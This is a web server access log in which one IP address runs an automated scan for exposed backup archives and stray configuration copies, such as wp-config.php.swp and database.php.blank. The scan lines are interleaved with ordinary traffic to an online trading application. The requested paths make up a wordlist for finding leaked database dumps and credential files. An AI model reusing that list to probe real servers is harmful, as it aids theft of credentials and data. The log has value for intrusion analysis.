[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:53:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.z HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.war HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.tar HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.7z HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.gz HTTP/1.1" 196
[09/Jan/2026:10:53:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.lz HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.rar HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927456152 HTTP/1.1" -
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.xz HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.blank HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.zip HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.z HTTP/1.1" 196
[09/Jan/2026:10:53:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927468653 HTTP/1.1" -
[09/Jan/2026:10:53:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927454843 HTTP/1.1" -
[09/Jan/2026:10:53:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.blank HTTP/1.1" 196
[09/Jan/2026:10:53:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.blank HTTP/1.1" 196
[09/Jan/2026:10:53:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.blank HTTP/1.1" 196
[09/Jan/2026:10:53:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.blank HTTP/1.1" 196
[09/Jan/2026:10:53:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927461286 HTTP/1.1" -
[09/Jan/2026:10:53:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.blank HTTP/1.1" 196
[09/Jan/2026:10:53:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:53:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:53:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927473719 HTTP/1.1" -
[09/Jan/2026:10:53:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:53:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:53:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927459874 HTTP/1.1" -
[09/Jan/2026:10:53:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927466437 HTTP/1.1" -
[09/Jan/2026:10:53:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927478751 HTTP/1.1" -
[09/Jan/2026:10:53:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.tgz HTTP/1.1" 196
[09/Jan/2026:10:53:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.db HTTP/1.1" 196
[09/Jan/2026:10:53:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.jar HTTP/1.1" 196
[09/Jan/2026:10:53:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927464916 HTTP/1.1" -
[09/Jan/2026:10:53:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sqlite HTTP/1.1" 196
[09/Jan/2026:10:53:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:53:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:53:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:53:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:53:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:53:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:53:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927471493 HTTP/1.1" -
[09/Jan/2026:10:53:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927483816 HTTP/1.1" -
[09/Jan/2026:10:53:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927469942 HTTP/1.1" -
[09/Jan/2026:10:53:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927476645 HTTP/1.1" -
[09/Jan/2026:10:53:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927488878 HTTP/1.1" -
[09/Jan/2026:10:53:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:53:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927474965 HTTP/1.1" -
[09/Jan/2026:10:53:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:53:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.z HTTP/1.1" 196
[09/Jan/2026:10:53:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.war HTTP/1.1" 196
[09/Jan/2026:10:53:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.tar HTTP/1.1" 196
[09/Jan/2026:10:53:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.7z HTTP/1.1" 196
[09/Jan/2026:10:53:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.gz HTTP/1.1" 196
[09/Jan/2026:10:53:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.lz HTTP/1.1" 196
[09/Jan/2026:10:53:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.rar HTTP/1.1" 196
[09/Jan/2026:10:53:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.xz HTTP/1.1" 196
[09/Jan/2026:10:53:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.zip HTTP/1.1" 196
[09/Jan/2026:10:53:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.z HTTP/1.1" 196
[09/Jan/2026:10:53:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.Z HTTP/1.1" 196
[09/Jan/2026:10:53:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.tgz HTTP/1.1" 196
[09/Jan/2026:10:53:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.db HTTP/1.1" 196
[09/Jan/2026:10:53:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.jar HTTP/1.1" 196
[09/Jan/2026:10:53:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sqlite HTTP/1.1" 196
[09/Jan/2026:10:53:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927481768 HTTP/1.1" -
[09/Jan/2026:10:53:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:53:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927493899 HTTP/1.1" -
[09/Jan/2026:10:53:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.7z HTTP/1.1" 196
